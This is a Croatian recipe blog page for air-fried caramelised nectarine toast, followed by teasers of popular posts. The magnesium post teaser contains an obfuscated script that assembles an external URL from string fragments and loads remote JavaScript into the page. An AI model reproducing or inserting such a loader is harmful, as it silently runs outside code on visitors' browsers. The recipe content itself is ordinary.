LJETNI TOST S KARAMELIZIRANIM NEKTARINAMA IZ AIR FRYERA





Ljetni tost s karameliziranim nektarinama iz air fryera 




Postoje oni recepti koji dokazuju da je za dobar doručak potrebno svega nekoliko sastojaka i desetak minuta. Upravo je takav ovaj ljetni tost s karameliziranim nektarinama iz air fryera. Soćne voćke, blaga slatkoća javorovog sirupa, hrskavi orasi i kremasti biljni namaz zajedno stvaraju kombinaciju koja izgleda kao desert, a zapravo je savršen način da započnete dan.





Ljetni tost s karameliziranim nektarinama iz air fryera 


Sastojci:

  • 1/2 zrele nektarine
  • 2 žličice javorovog sirupa
  • 1 žličica kokosovog šećera
  • 1 šnita integralnog tosta od kiselog testa
  • 1 žlica veganskog krem sira
  • 2 žličice praha od vanilije (po želji, za dodatnu aromu)
  • šaka oraha
  • nekoliko prepolovljenih trešanja



Priprema:

Nektarinu narežite na tanke šnite, prelijte jednom žličicom javorovog sirupa i pospite kokosovim šećerom. Stavite u air fryer zagrijan na 200 stupnjeva i pecite između pet i osam minuta, odnosno dok voće ne omekša i ne dobije blago karameliziranu površinu.

Za to vrijeme tost ispecite po želji, a zatim ga premažite veganskim krem sirom. Po želji umiješajte malo praha od vanilije u krem sir kako biste dobili još bogatiji ukus.

Na tost rasporedite tople karamelizirane nektarine, dodajte prepolovljene trešnje, prelijte ostatkom javorovog sirupa i završite sjeckanim orasima za dodatnu hrskavost.

Ovaj recept je odličan primjer kako se nekoliko sezonskih namirnica može pretvoriti u doručak koji je istovremeno lagan, hranljiv i vizualno atraktivan. Možete ga prilagoditi voću koje imate kod kuće. Breskve, marelice ili šljive bit će jednako dobar izbor. Dok će nekoliko minuta u air fryeru svakoj voćki dati intenzivniji ukus i ugodnu karameliziranu teksturu. Rezultat je doručak koji ćete željeti pripremati svakog jutra.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više